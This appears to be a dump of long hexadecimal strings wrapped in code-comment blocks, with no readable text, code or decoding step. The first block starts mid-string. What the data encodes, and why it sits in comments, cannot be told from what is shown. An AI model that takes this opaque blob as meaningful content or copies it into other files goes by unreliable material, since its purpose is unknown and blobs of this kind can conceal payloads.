7a57edbd8e239e00e00dd16311d87466638c323f1ef721bdd7e2ed705575dbeb600471af665165d0ee58ee3c1c6b00a4acf92ad6c2f0d3bc706c90dc75d793f601e0defd1b08f5488a38b0c5f0faa41d4ba3a2478eb6d8e4a755e31e25e32818d2c2f4343dad3c9bff546b7b5be266560377002e5796d30dcde21c492d24e84fa6ce680b4dd55354281912da24995c8d9e435f0f67ec44828ebbe9a545b7ad885059d8b2e646780463fa0f05f7077b99863540b881420c0b029e22ffe94b5ad0c5be55d8b346e384d238954a820479161585508e5e23a4a38c734886898245f50762ebb11c2a47886b5ca8932eaf49f5e0b106cdf0108e8b6866162898c9bad126b579e461fef670fa88c2e2deaf71847990b1e36ff256f01a724dcb86a1d767dc31e46f7d027f88fc8dab22b5eab44bce312d8c358f6b998452bbb25fd50f49a7f40c1639e18eb429e0f027c2d1d8f79e919fa04f136f06d8ee79135b4ebd743985ba6bcde9b4e137da9320a878fabbee0a0f06f52f75003d466cb127b0b88d3d58c9e4b7a5033f53e1271411a0ceb81783c8fbbfc372c074e2a8e26d7eed9a34e37e52a554d2d53b30a98b1e22eee0fac06ba5fdae10638509406e44f1621f9c56a02f289f8510f62cbfa94c8e1fced81a93887d775fc361ea84dfc700b7e6c0bb9913af5e9cd2c29f7f8012682d1dcd03e750d58ad2404d42661e4bb7086cac34a14bf215752cf2525a63b423b07e7d7270f1efef681c6529dd4285fb8f9b1b9d548d83f81881ce799aa582e4df14c84c12c823390a34e68fca74e7cdc63215a947c260838f91dac37918d7185286378a7a445c69343f5fb078392090f0eaf60d39d4be94a6f7d1d3332dfafefb51f545d41fbb7b84e45885db98f91e1352a8b16341aa6c5a9e9a88f7bef1d7c3ed47c1aefd768a53baa84a40b4f0c79249efeec8db3c8dbd242889a701380a227921794d08f57ec1b3590d899b508191d05d73f4906b79547b193c091d7553d9dfd1b89fbc9a32f61feeee619d88e8beb978338911ecb6adcf30b4bb96b37f8da4e0091c78e8e30b5176c81b88886fc6b2e4f787c8ff2db51d2793f82dc668ed7a4cfb8566d18a186daff963b99c13a10e4208829545f7d4e1c4de76943c0413835e809e76b838d66069ea32118545444d63ae06cf7b587ba59b71ded1699f1a920566dac62087d79bc1d7699ecf819147dbe0bc25f647e092e3692bc2160c543740a22040b914a92291624f040cfd4c1662768f21dd667971d8cc47f52196a60e02851605f964c698c5131f10ee754df4b17e883ea6cd839b178497422d671874fb43342674f1df147b0bb9c461f9661dafa439fc353a4ce5a4eabd08d41df0b50e14e8f7cf509bfbf2b8d24e0c03242300977f7508069d0496e769c77e6d4a2096bb68e14375470115b5f27ac79b508bf599e5acf4c24b39bb6f2998ba1b060abb1d424fc84f72ad3185a40f358abe7494e65939a8678084ba367788d4e5141a9e2a7571164bc2ba4ec1dee46c79f08132017fe96e909178267b696c225b30789fd8630b087a7a8356a40e69a95f88db2734816202543d6dbba62d042a068f0a1ecd69ca468d967db7073944f5af7a188ab2d14de52c9da0af6bddb00a4376473c1d45c6018340dedc3e9a10a5c956b65195e5eb804f19c00171dd69744287e7da93263dde14b72a92e31dbd4ab7cd38074e4f89b0f1e5c43aed578c766d43e11def71e33b2b58d9c1e010ffe5d9a7e05065a4773f226f943133bf191068a2ef0bc58ff04144d36a9d7b7e65f304f1882bb4f7533f5feb54cbb59bc6a0907287f9fc05ead13b36436b250e67a0bad6391faf317f076d50ed0a41c0a9ea226c77ec254ac0b778b6d8019d3cc6f34acdb0035c50151c0a959fd168e972dea157ce9f4124578c1b388bbb69afb8c4edcd6b48b0939391686db8e8d516d7e03147d01f441658652b8ebbdec23988a0cef6d61d01c946e50330249c607adbdb95*/
/*66ae2f97c9c44ce6095ad82a16c9b9d997dbe28b5dc7a8e3026b3fe1a40de4d1928c1760da45c6ba2e9d9b050054c73f21a3f5368f541eb5d2631c40ef2533d4ecfddfdc311b948e8b15bfece2c76f91a24de8d655ca83d83d8a2b4f345a3cd0cde1809d955d8a901d291d5f7589eb019d764a9e21398f3c9ff078279163c7be7c25a9fa95e5c12aaad859975c9aee49a7dccf240326a69a5dbb58a7e335d515a0dd763ffc28254e0ab45885eb94e68171cb6bda074290e552d038dd566997c31860c02edfc75c34f325d2c14cbd1e688829c06f44dd38e4eab4b7d08b7d1d1378c65426250ac0df5b881c7cd2b11cd5ff09e4f892a88ea91c8a8683d3e67ec65af5499f6bde695ca6d5f5f8ddf796b7f6efbe6f75e1de3bfde2a7846cb546c82801f328183aa4017dc12f57fed2ea95f1c84fa06f9f1d228ef915460df4deb2aaf85adc8c062fd66e256d322074bfe3af5cd67a5b5000da59ae1a45a2a103602f43b03f191a39825d223a4411d4a713cee464b6b6bb51b3953f5d58854663936456f0db5b4a54f98163f257036cda1b2c8cc6d111815d53884adecf2bd4efc2b16f49d1c7350678d8c2c7472ac45593e2d27f5665c02c543fc081399c89c8e474cab04c76dcf98588d228ec9dce33e27decd6f8465f3abdd7b7d74551fe79df06a019a2cd9c0312941b4000cc8bfa22caefa2a9a2b319d75091c063c5a525419a1c073f44ab5aeb625aa6c89d20fde1e3884c34d397e4c94c3c7a4b16f508eb9fb5782316f71fa1e36b36433d376c3649abe341a9294a5f0d1655be8f3b14a6eaa915618989bc72731a6208e1f0395074402746358430c634de166de4cae3d964aa6b17b608c2053a2fab07ff32f4a81a7e95af70e69b93d516ce3ef4570552ffe2f7f07f3ccb8d71f7cce1ddc62b989145dd0d6c8698a4872883a6aef8122c0879aa516cce8c16da487d806765ebe4cf2b0a326e276d3ae99174f20a223df4f682d7c4d63a70e4bb96dbc36344cb6c57b5dcb00ee7542808a8533543d9dbef84147287b81bab74d27c087372af91afe5a3aa9ff6fa7bf10000edd50f281c4cbde5d2aa2419a457d9d81b8ae491e4e6aa16c6521586832dca12ecb2d900318047bbb9c089b22e848aa5539af6854dcc621840323f086f5cb9fea5893417998bfb41b0e4edf0aee7d9a6b51deb64b8c930e5ea9e3ea5f9f740e7a6ecb08a56e055a677ec29cb6d6cd26c3251998c71258de82e7dcd6629980cfbee03c5ecddba9a00a5dad71d2490f82b9795f05a9df237cf92062b7cd26c77f490ba61cce077fe8f050e53f4c94a039870ecc286bd5493295609e5b7ebafeeb2b91f6f59ae6c80a6fba5cb80ce2cde4de3b027144e95ea33c92fccb8b951f3d5cee95820b4d9faa8b345e63ccc7c18933b5b56e79f225357e0f24cabdda504541ae25f0dc66ff33587dc88586fd20c6f1a15b1772500932a38cc954aab2061d56f3e82afbafff133af3f619f9a50a38bdba6347d932c9ec7dc245d2f6f26676c954e118e2d3c54de094c5ba779e2696ba478ac9d0c0763d18d0c18f630f65d7fb9c163dfcfdbd20ef2d237ae964ea05f235ce691deb1f5dca073bd88df41909bc25d409ab9f28d6524795cc0e862e12844bd52d4dce55b7a0ce6e36fa076b908996e9ed4996fe8717b93f7d8d6c6c85b9fa7baace800bd79b10b86bc2ebbe105d6a09d09a8373ca838038650ae14683cbc7b899d8d901c726a40acf8ab302897f274e6c5e7470bb75bc437f79e0b3791201fa2213f828141732657c285e5022b7af7d44aaa33c85b2b445404db5b1f8aace9614acae052f6e303b3ddc61feb7872b9fb92865d13897f6a9cd8a2bcdcf1f47075264388ad9adab9143a1deca102bf7ce938f42a0a9d447e2a7e5e496ee2f10f6df95628a0109aa6b2c759ce93aa0e83f09e37d8dd5b68f729dd373625f3d947f1ecd114dfd8b6b5f612cf8ef40c688721c3a13e0e5511d60ecfcf99442e7688fe9764a8439bdbb370cc21df9b5228d23563f36135096aa8e77f13418045f1cc92caf6a9a8e094cce3362394c46bcc1e397f87c177bd0ef09160bc14577285471039108ae5b0e80460adb8b5706204ba6c7cfceae2fa9a5999fb815cc1cbb6a07203ad945a3ed00a8a3f2c1ca5135b5eaf1d0b4e67b3ea20f905116f8c2a8a759c64f6d88bebf8c04a8c0b2e4819df2507c32c46f190eb8ca6c0580b93a64e26e15647da8b54f79f85c825d24e3ed61c1a11876545508eb0addc44ec3b26ea6869465f5093d62833a579d16ee94e6fa4a5b2e9a665cd528cab6d0cd06491825d043dda609fc9f0b3e1cce6d6571dae17eaadd9426aeff26fb35454c9251a14af7ec1b2d2403a64a56e532588ad173207e8b5445dadc28858f3ef0642098274c5c52ae545e02e65e1f6c948e9fd33cdb78909324693b689e8a53d759e2fa8635ed63b6a683e8057d3cff25154cf95cb196d880959d1992d2e32e14fad755aaf0da41d49406f34c592f570681e2a357df908b7132ee591fd51580f4deec6c586262e8a1cf4145d793785c5f7c64761b86118abb4af0a2f0f3ad3769f41eaa5886287b865f28048df73a33677b87dd5f6819c16a8eca0746fa099f9258f1c5bc1617964dfc7bf32e979bed4db98f83a9ae352fa47b6b838c7806e53e76dea232d058220e5d8dc3a4874bc62f6877f541088f357bc72109183f1eafe1883367b897947e83be8b832867992debdba4203c2b9e7e726bfce4ca36b4d012dbf736c03a4b796a7a6af78469393cb5ce2d59888be1f7c0167be9667e141bd7b8b08bea7fc8309c2ec*/
/*6ad5f0b2ba8b99a0e066d15b4035c1efc611513393d72886cdd98a861d8907af2785fc338809eb1999cf17ad20e4bacb98a945c62983ec60b4a7dea4dc1e11e5bdeb26a5d20ec363a7f54dde442eda8a64ec822e76589a3bc32a104ddca1a5206cd893e871697a12946877ab4c95a86ab3f993cef6e42ecece1f51f30e06ee5da0e39edcd956a407f476c3edac62e0462d9dff9322ff9781bc162d4c2c748d5946039bf2f29b92eb920f7458f921b7eda2e959ec53764497544fa92fcb1e9acc1a456ec1ea7a2d40dcd340bad8c65ed6e6044a099d2039eba1d3acf6aa655a418cd0db65787ffe43e1a10626c3cecfa3c20937d5153150bae30401102e4075c32f00c37429b49384b2e19568057ecb5deaead87668a24860a6296a391e1e2fb7dc80452930dd709b463ec391a00b450dd81298f8e7fa3959c3162e558bf78b1396836df37bb0601737fa39ded955802aabeb65b46290ac51983b3f809a1e2e0a381e27d73f1e26b5da36c7ec05d855c5352947613e284bfdca660e3700f95954097d1205ee5a93a1dce9d17bee85d581c2bb7a6ee9daa7de0f716a149802eca2fe37b37671ce6de06e17601e543628dd6b77f33857a36c99bc944058d3307f50f74eb84d0ebb09c7ccf0fbd2247d719fcd971515226cc088a6af602ee61b94255c263f2ad0b8697ebfdfc5107877577e93c3b769cfe16ceeb76f85a255cbbb209717cd1584f8f00b56142e1a316ea8a23aab6ccec4e1af247aa7f887f8c5b7191db3906b02c709924162f11093a6765f21806da129f9b821b5cf60e9c02ca2dbfd6f886639d26dd63cf7b1bf5aaed06d59800a2413b76d2eefdc67ff6cbce3e9a1e1b1a5978042cb63d0af9010a5eee6198d3be49e550be68e64276277fabbbf257a920405e3fc667160d1fb58a4c267487a8dc257d6907f97a2a99f57638c197a134459b323a3f34373e6c8817291f1f9c9bbb0f0c278c7c2dd1d543fc9df362b695147eb03540e47e8680deb58c93aed230106540e1d440486998b48b3e3c08276fa9957d7702639a48fbbfcd60bec028ed33e8a086acf38729e38af26bd948408416b0a8f9ac997b507225f32316d1148b9d77d79faa650fa1d7d2f10e428de25a632aa78c2c4ab359daa5726667e345a141e859195b58a0ae13af293899e2b27a6abb33d89a7aba8d01c4f8e393e0e3b53e5e3113e216b8d697b108783833f79ab3eb488143606e4a611e0d4180fc5ed6b6b1e91a2ee411dde1d8564f606342eca918a336ae868e9071a6fb19a0697f77b376f1c8bd5321be250e41d87eedef4754239fd0a8687578e07f2da7d6985e8cf5f3f8cd8d0fa8bc4265b8c6012321d6cc4b76e510d3a800cb1e7981d09eec9468b2f91d5a6a6cd9987b5892eb6cab449c37dbe9a1fa92934858559a12881edc6a9533fb517db901c2d9d3bdc116e6ac7c40838427113a5d77d857594887ce336f90b3cc60e9b2467cccd9b63d66bf4e17fe45962372fed72e1f465fe71b655ecde21e0da21dc8245be4473fbc12a05586fbfbf06f7b3de7276d520c0fbe78289cf787b1c747b4e47e4d65dc5598671e7d33b63591aa1d7b237705a83940d9bf39a3e0e74e7c055517246732c6dcc93eef7702cdc5ecfd6e59f5f50cb77f8a2b8e93d5e9b98d96b0833552e1a4dce1c8ffd4da68563898ed0669013baac4699a1a0a09980db18cb536041262372c445906c516880f1a4c7e7f04c435c7dc7dafc95d1c3aead5377a1593ff4ab985d13e6ac81ac7afb664c3545e7da085d223df6aad91aa4016fdcb6f817bf4b20cd8dab46242db106aeaa9d0b9c35182c42e79d28021583da10a83b175b373cc252c5638868f9d5fc1077199ebbf0023798fe3436178ec8d27e145010f04009a807dcf46a64d877cec00d2664b804b977fbb6a0a2f60838a09926e6ac30c01f10b0065669ba2dcbb129b23924aac3dd328860f4e97a08e34d3891a0d77936dec7a39f62f3e8509d17561e35e90b3ce65ea2ebfe211dc119abd31ce18e376c27d3f7e4bb90a8a66dfbffcdcad28fcfcb7901cde61e8f52a71d555a1a4d4e2e9031805b76bbddc8463fa29203127bc54be6369fd3551919e6d9999b27a7754f11a0ac38db1ade6d069c4a15952a7e76bd6778e086885d54dc2d0ef4542f6971f8cdf1f7c651b7f996810ce8dd8812882b34c09ede345a98528720a0dc89e29cc58d8887b3fd4127a263f41d26e1643eebef7c92207f3ff85269441b7a4b091040aeffdc6559f18c8e3b670408f7cfe60d02290e1fc8e47658e99f3166ba0d67756f411243f8027cf80cb0dacafbee3d646706c9053a03e030042ac922c1c81079f736b115f3435ade42dd93531a4f97b2f48438fd97912a42fbd930de1ab8fe78545f9afffbe3b35bdf3a842690b2188a272e3e0d5e012110fa5493fd89df9ab0f2a0b67a12aaa0a6474a1a5c71f88d155981da0f575b969aebdb3d00c9021d03cb157977ff5c834ba013a1b90fd4cb8386073735ced0c36e5a0573fe45cca84f5537504dd777fafe0d4b50b363bb30bf81fc400aa77cd1b82530fbcdcc7045b8f732ada160573fa59597a5202a6031127e4b67585dc6d085282075887fea562d2a40a402b343dd21084eac542b047d10834ff06cae3147b86b34416b52bbe7ff99c78bbe8c88d0b89cfca99939f25d690e9f7675b75beea95c01fd1b77c0d322ff281a2dfaeb9e23cdabbd3edc94f5cbae8cfc39283eed9967a1262b555dd982806e8b3af9cad9ed1122722f7cc7dffa42752956404345e8674c4051c83e1a28c1865bc19ca6cb806086b1372f9a312275*/
/*7720c2217559ebc883bd90760efe6751923ab89b395b587212c522551fadf6341dadb0c34f9a71ff3cfd50e6ebebb6ab148c2acb1f75eb9341ed16bdd315928fb8c9792f1241340879e2fc913e6b2acfc216dd2bc6942c67a48cf8022fa53819ce6ba566b4d4909254b124b76cae8002c1e33cae55d327c112a0abfbb8587fd91304800ca1553a2f22c4dc6693ee51b52914014eff2d8827a70c89149d3520cbbc6be1fb2e663c78d52fb6fffb09d6bae19e594121a31b94b2dd206150c624f20b45525f6a4e7ca39c536674dd5f0ca975355f2a8a51f4335adce6bb7cc1d451a64fcacf416052ac2eafb08cee4a481c68b06148921da2f4a14545e2220b8f933028eed4d48c8111a7daee28b7ffa12a5118810fc092a94b32f8cf9f51b69fe7c02ddd98da47ed1370d7c8669ce37399cc84164e5d1ebcded74fd58a60ce8e6f61ba186ca6452223beb48848116a560685b5a4af8936c4b8751b76fbdf3a1c07b20e20b0248763105308cdde96031f9170dc69f0cd389053a3f8b74bad87f57c84cb446e267327f89f60d361cc13d2b12249e02ca27dbecfbb0913c630e993ea0cf4a8dccf5ab545c3fe9bf1aedc87cf2e652c17587260292c78ba74a9886049de28366cd15aa594c2df96ecf13993d0a10bde41bd319d2ec8370faf708432bbb2230073a0217c0c69d454156e4fb43215563a150a0e6885901b8157fdadc843ed516ece04c85c04ce54cc0a0f0428ee30f1cd5c526ac5f39a9d091118ab7e5c109ac0ed6a17f5d36a78d72721250d4c4684181be08605873d937cd09285c8142fe06d66ed5be950eebe596d6c3c359be84725dccd5800f691fec10b09b3bdb354b8f31715575064ec44acb54d8a0c66166bc0c57f7a68286f4c8343404d2b182ee3abbf9bef9fb4c892d44dfa6cbda1e612ffcb6a4984b26bd67754dc0cc0c8fe9069a4dd721f53de8711d6c562e078f83a318cafac88f595f7c85af1553d04d473018a89b1818570c4f14600e252cdf7bf6d5745ee66c87787ff6870bc58784369b784c6b5b37db290308595e6c7c9fda8f33b3830f1e0008f8b6537719954c84bb2bceadaf8ae13e3dbbb89270fc0615384b05d6247e14f49800cab185c894c0e3438d9f715e73b1372c1faa30989ec419db72489980cd9d3a3b70a0fca5cdfce2052effdf7bad0397e45c194f4494f646ff7181e60836210d4b590c5ee9e7df67b57cf9aae9ac77b8a7910ddb14d3eb8f1690e4373b82274ad05ce77479fb4dc8176b20e3b736711058123b0be7a73d1360533b6f77aaa21c57809f8eda770abb860f6b0b9c5646ffa04069b68acca3913dbcb660a543bd3be2decf7f78908125465438d546eedb731950124c0e5957d5d93ea2c32acfe9dee3c1ffe29fbb58fdbefb434e1991b8a5793fa14f7cd006c1d1637b79f175e4e3a4dd3aa149ae8d5384dbc6dc0d18e0784cdde9d0ba2d448fcaaddc224611255ff556bfb0f855276068085b5e04d4d2d657c8b94c82aac3b79853753b0ad13762644fa536dc8cccbb403dcf15a1a18b6c59f1d2dcc3f81740ff7476f5887111612b2ee87d87b012669ec74937c913069ae78f72799a46fa45abca8635f100fc1961608397cbebd69f27f4bc762717491056ec95cdf343bb4c22ea224882532f23d12e99d087c90c968e0e78d669e10532da6782875c9138df430d690359fd0f8108e6b5500de16b9d9f0e52a3ccf79d618820f82d971031f23ebd53caf8df36bcec359c56d7be5ab95158bb3e2fc3cf57620f3184b747dc4aab3e1d9f0a5e18cd7636199f8c93bd5077c3e5fea3d087709115092b2d827dbebde5533ca5b27a4f79a11fabcee1c5ee57ab1ce26333908f2c64a4b9eb1241891a8f826bc60ee73bc31195cc763caf3b9fa86c0553c88f3d0ff7c6c1f5fce78b4c4bf692fde07400bbeb3f9a08d0a6ef6656492b9cdd5dfb61e6e20f4e1f0f15d26862988d2c8f050009b03b4daf3453d4c3aa2831cca6240f849bf8acfc2860b3350fc78041eed0a1d035cda46fde65989becaa25d87582bd1548c22bbcbc095540ac90f421cd6b1ceeddb44ac0db237dc41fa8c29b6476a9f524bf09a4af04f9491f180f2ea762960136367821b66174fb7170fbe203f3551e6a0e5b21d8813fcbc886d1847b8767777659f1cb324048cb4e59206acadf63ffac69b5455a832b7137d70ab929fcdeaf14e16dc51c0624bc404abadf52cccb835e74238daef696363d32bd3b73dfb12c6411335a9dfdc95bd42026c6a026cf75121f6b691f5c5668eeb0c68f4ab1cffffed0c176b1f52afed61f52d415e5cd9b9c4146f0355763aab8ed5b6a405e867ec4da29c0f06fb3958a9fb69d0474b13ab544b2e581cf4a7eb24c9637a3f3c96157281fa06685c135917642fe370eda724683c8c0455f410040b68706731f5860c761adcf252ed6184e7b4c53e8baa32ed8338da605ed80cb352a19e0357e0ad7769d335d0d9e79aeec3bd75ea5ce27e459cf050595d8404467178f41ba60c84dd3f74dd6b84f035480b8e5f48257fc05e9897d302d077ca6a270a996bf6b7b753f39ab15b7894d24c147d3d95d8ec849a7d12bdc7757b8945d6886d60683cf99ba9260e478fabac982e5594a9ec6ef43ac0b23bd127914ba2ef0a38ca860ca4ac8fdd6bf43acbecb2489b0c1503785d48bc76df5d8f0be11fdf528df0561c02ae62fa1f1bb85928ede7bdc9bd78f7b6c0adba828c5baadbe27286aac36845c4bb3384a888b0a993e451dfd784487873d519b4e43005c5bbf6fe6a2fca12dca41c08e1d241cc1d6a3d7cf97294d30f9dcdcd953b*/
/*e5cb534c9024fd12fcd03f1e7eef7a34e826cd74e151adc94164a58c1bae486c12e8c7d8025c21c1b42a59b2e1c699b149da28e1c467bffdb5d8b25cbaebc73b06538d3c16e00cbb1605c93a533699d9d54304d71d24356ea19e95e8627b20c080a3b57a177258b001cb87863e460c756cd13e49f151f2e901b41a99cb2029a5088f2a811689dd764bdeafd3bc779d02a829727c41fbdd3dde92c68c1f057b9a60cdcbd3ba9fd8e8c37f82bb2e679dc1bcecb416cdcb89ef86c4ccd0620a8fc42fd66c8e0a24b855d7dd422abbfac9222895bad77d9cdd389f56efba23570446098175086590e7bffdb7ae81c7d803b015e7283b0badcd250f9adb3c33ec9604fdb53333080dac647afd3b6d5d9e4559f06c18cf462150f6cb287a8be30f3a377208b9f78fc498edb02be20fd58bc91fd34748e720e9676ea02f1298bcd95fc632cc9f0ebd274bd67e216201b54cda0f775f0c85fda07994160baf6100791fab445cb74f0b99a87e2dda24e85a95598b5426d43e6922b240a8701598bde219d17f1f9d19b7136365bbd3c7ab0889648dfa2e2abdc9abfee7eeed8d59ebcf9f12fe8bf9a58054dccddd8c9bdf188baeda6195ba898d239e1fe535abe13a3b7455a08cd34d4e90f8a717939af05807c540c2217880baa86a6c1f9a95a198cbd52bb241badb39fbce543038300bff5e7a6cfd42a4b5219334a2261cb1b2707b811caa3ed21a2874a61eb74ad4b63efe6a51f7dbd63b395bcef8de37b08215f15bcc0194bc920e710c82c55d816faf6de8516b48cc8d2b6dceedb36e5dcae6f6aea1688720bac73fc9a09540a2ea06e8c20c161616470f87478b51a4293a99c303c0e93f0d524b435b999b9100826ee770d3f96e5444926d985060a8fe64ecf0eaf4f300da9c0be147ff5afa3a9d291405112cbc3ca5ccc5c899de4b43577f3873f615aad8d03c0d9dd08fc51832ac0aa9b6d565bb172bd4093f4269e350db5f8bb12b461ab2358c1b1028aed65ccbb1fbdaa4e6db17add091cd8cf12fc6c1830fad5c95c9893a4fb44d64af317f53305bc7c7d4b92046be06686496a68691e2b0f1e35727ff5720b48902c20b8bcfffbcfa5c6d11675ba3ddc426decb07ef608b6db353c4e5388f969972554dbcb3ad6266a984a6fa80cb49b57aa1cf6d57031f39510072772e079d445068e5a03dd3bafaec63da776f4e268063e11593e1591a2e406633b61641161d59be4aebc683dbad1ffbaa9a51c5141f607cbdaec46a721cfae188b6553c5333f3d936fe9c69cf87da32cdffbbe1f83b404be21490d7838c10502253969a02ee1f21373b655afd67f053fa250ee720c1c7a4f79a73ed496ff63681f466b5bf7275022d0bba80753c518a6d5899cdb8265fea2fb8ee115d177dad66c1ff4b0b059788d95c7c21aed2beaa7fea13959c4ff2e84998dde0ff93d58f670297b809462cd4b4644638e19f62ee28ff9603d35f6f4201bcf13687358cf12e615060384878ca3eb459170332acb0221702ea3c3a2ffe07c06a3569bce6714fd015a6575fff445c5140683f13e31bdc26f603c4a96a71f2106aba1707f17b4d2b4ac1d1883850702208e101e22ec9be1949a5dee9619b9499b54dec959f76b5cd9fcea73ece9fae59e9f19c8d9075efa74ad9637ae120d43f9b84dd479b310215aece5b62f71c75a4437fc0eb947619f8eca4e9346b12ac3a23741803f9f3622551e98a2e58515eb2840123f2368701979ba31f0192af9028f703b22690b7b6c469d945bf55e57414745686632481a8dca4c73d7a00f53d58a14af331970decaf7e06a48e709c3b2ca78414843cbe53c42240b7c633e37c22b46e5e676babf1b4838313f1aa1b7827c8e1e06abce6add975c559af3b46e14c5716f229ff24f81a12b33574a6b503966c643fa3b4403d13f638b0d2e49126712df417933153a4a0c0ec9e4a0ffa2b0c540964133b7017f00a2cd37a2230c15272f5c4f6daeff80e8dadddd4efa733fa5f5f38bce9a9232201c1cc9cf9ca658ffff4e7cc8eabc5ef0e452e8490a605d9b5c2a023053b7519cbc41eeeae0df980114ed942b3941b9f71f479ebe8e471eaf479f7ce637542f6777f82f3e775e853282ee6e01475b1797741de053a1ca152743a76bea2b3f509bc95afe187c46bf95b44de01a9bf6f633bd7cafe85f5c872145d5d13980b9061d2e718eaace193de45be2eb83346274a0f2d004faf837faa6190cc1460326dd359665d8e3f68f7c06983d3dc7171e9267ddbb6c3d7c626821d1d7e0ff0328f2f7ee7420c02278a20cf6a9832be5ec32d6f17854e969a508ac794f460cd482191689d239b3ab3cc3be9d5db92f0040d4d911e7adb444642349ea05496fbd2cc11a17355b5c8d490a5686523134224e133feeb8675224ca57f1b733a278d58676ac847d6eee7238264c4bc6fad8ed61b4f4765e4bc78e3584a904c9ce4efacefc148635b970391754bc4228db028ad5e69a350ddcecd0fe6a24fb3a6a307cbaa9eca8bb3a2f87fe0c82422a075ef39edb6a41347bb7f519cf78a0206b963b2b88a3dd5478eb61c34ecf023fbbefb32a5c67702cf1dc3855b6270093ff286df83b504a373bb2707c083ca0e425a739c1a4412e2f5fed53e98703a8b4a1997e4630a5c41a3854b660e5ff9cbe00356f3be7101a229219806095a4941db9a9bb49859e189ce4e87aa470681e58745da11de41eede72e4f7a5158da3afa4a149c4b86817c74c3332dc8a95ff7df26afcdfb333dc728eee074a9058daee851c0e415706a951415c1d826784fbbc78ceda7d8b123b7c802a289af1f72933d890*/
/*2c378c138eebd2531a6e3e27c9366aef4c78848e76c7abfc782ce0a478a81f14c42f2f32ad1374745954795dfecfd4d0c44d9486727d15112ee88aa3fd373917bd9210d71591dca84a86c32d41520578dc42ff8021b85413572520e0242182da78e1bdcfb6dc5eef8dbb3801fbe0c95cee9e620e87be4777688569e2af6a2f2eee0de3975519df3b48396bd2ddc957f20103bddc94551c7a77d602b5bce3587b174cd218cfa6fc4176d79281969415aef11f8f1ec28305853bd19adf175ee1e2a2d862e43d7a716ef7c1f172d3ec492dfb74c14385ed7a95fdaa9fea8f589f5ad062c969ec506ca8003a79156ca3e78a2c3a57f55786e1aedbc0b93dc2546097fe9a98c63d1f028548bc8f1b075218c3b2da1b0375861c27c722890533806c443f2f17219cf56c1f31592c57c35a92437950631d6e85df716a78d4b2b35b7aa735cdb28edbda49d2c12641fbfc32e83f77ea2bbde7c8e3e81de758aa1c5d3d61d9e595d7c6eb44546b248ea70d114ba8e65667612a85bfb26736424dbd24ea2f45e23a150b7a4de6461e10b2826abac0a5ff82487f5433416b68a19e87163bfcafb4f3b1abde3977258c322fed35f86fd94f0a5a20c3c2a07a876ca7f820adc301a82154b5c5ce1842bbbc842d5952f6a3f1d511e8d081c316ea647bdfd2a2c618f7b403dbbc443666079bfd3f39aa13fc42fc223a896169b6c79a6c234f2238379b65ce6958618aeb88018ac5585dc7778d73a2dfc60d4d887d4e0526c881099bc6ffdd942a9a46c59ff8825ed08a43c59ad2c162e3a4c58129a2a57e73c710c40840f44a4fbabdc0488f668434c7cd288792165408b65805972437b51d3113bac60796c6f572ff191d1f34450a7885816d57d9c2ae9b8fa2638c85fb86d627e7c2fd098665908c5092655b180d7233e36c766b48c56949a46ce9c7528476df8fc524fa90d0652a102da338a5960971ffde2d05d9871f13c1d43ec0a075f174b851e2571c311ade6f8d224ba5af61058a67c894ead8f3286870b65062e6aed2572071a3865f3828e51c4913c9185b7ca4f5d9054f26fe253f7d1e21635a99904cfb4a26dc1f1b9a2972c6f0586868ab99e4ac79eaf5db70c1cb1122df676df351aa5c9a638d0815c90999c79efeed7d928776b0b3bd6f8863f6d6655c9c54357aa756e8e8df86910c90fecf5f205bb03b511f5cfb61e347a67af4d6db76405b90937d2de5ecaf4dc84d0fc7ce16206b755307ca631a97048adc9991d6b899337021b4facad10dacab03b11897f9e522d3ee76f8cfd81a6069c6e72751e449afdee6b0de892973f8a97089007532e758821e01fe941cf4756c27023d9d780c6c9196c99fc3217f1eb601ce8f75b9df25a3d2b44d336ca4c9a082ef172a2390054406388e5ffc4f4fe47abcfafc969600d11ca60010780738c5fb92bc01917efd021f515d4a7b19a4a717f74ebbddd5ce6b862290b71f771db00b8fc524d5819cff7a06bc7f76ae282be24f1f8c86a68c66c7d0b6fa9921f74ca92041d0c39c0a6de0caef68d38c70e91aa017de21c2d78365617c41337feb41c6195f943411455fec2118d84496afdb8ac206092e04805e7c95db5739ac26f5e0948810697bc9ab4822a3cb1afe1fd8b9838475799d4a6e8c515b94d87d8f86b1a54d46157a9594966102107dea71e12a742cee5d3e4c444c4f8ff3952ecf06fa3718d51e246f413087b6e7cfbfbe8fb2322a9dc72ced21498b11c4fd673dbb70c046f187ec9698e535dfe4a13cbee3c39c6e06266e9f1eb0c9c0928f804c18e4efce6b0b221f5fda1fb790e5224ae2813e64146c07b08b5170f9d79df7e19c694c596537f92a46f429f360b47ed412c56cafdcc3db4e25c261158a7aac27f526f89128cc63005a45c91d4ebb0f71a2e1ef5fe4a5de7038b4e39d2b957df41bae05408837163086c70162ce91d5a7a10bfc067ef78b4468109f500400f851e5b2ad0e26cbbaa89c29a8984c9d85fda1534844c5e928a42ae858e9822fa50dbc973abc3abf794dbb1f261c5e4392e62bc704b32dd618d42864236e7db42e0c6d6fd7ea37c8c83fcf515d48d51bbef67c45d834f8ca5d09302e3bc066d0f2bbf433048085e73caad25be5bcb08fbfd78527483e1d5062c09bd4aeb7d18b38847485ddcd451ae65eecf7c3180402e2d047955a47b462aaa630c10ab99cf0cb5fefc758923bdd791a39d04fd9121eac09fa28e91e15d7686e49ac1c0e5a80c676decfd24b28c12185e00b14fa7f80790f401b282475a2397d4c0121bfcf14f8fd2abb06462543d84e4d909c1b26ad0ec943954be9df20839b1ccafc4a0d6b1c81399bba6fbaf785f4492fe6b2df0aea7b880c87c1b3cee6ad6efc6329419a745dea9a0914e24364911eb50170e6b90d3020f41b9444af13f3a80864dc9ff65f0e3f40e3bf4bab7066f2bfa32b146e6d61dfa6f979706b0f55ec123442ce70800f48e82e450123326536d9e7eb8d933ea00ff9c45e7b2172b51113844745430654282e5e7a04f5a7ab7dcfe8e3a161c8a8294e2f5e8d11f28902023a64d152ff0ec87501dfe433b30b9babea357297b767314515472eeaae83fb79ed6e2aa438494f2960c47320826e71f15ee005b6c744af77372f454c21266ede7dc3c78bdfe13b13619cb2d03f72819834d3450de559df9c95194853205e45318a55e37dabc40f904bc533922e678355d0db7df1750a6a76582e037d6f4bc91eb1356f01371e3e96e613ff5966b31a6adcef678de38516f0aaf0e34ee84ddf5767ef82480a67771e49bc516fbd09cb3dc198532459fafaa53631400200e6*/
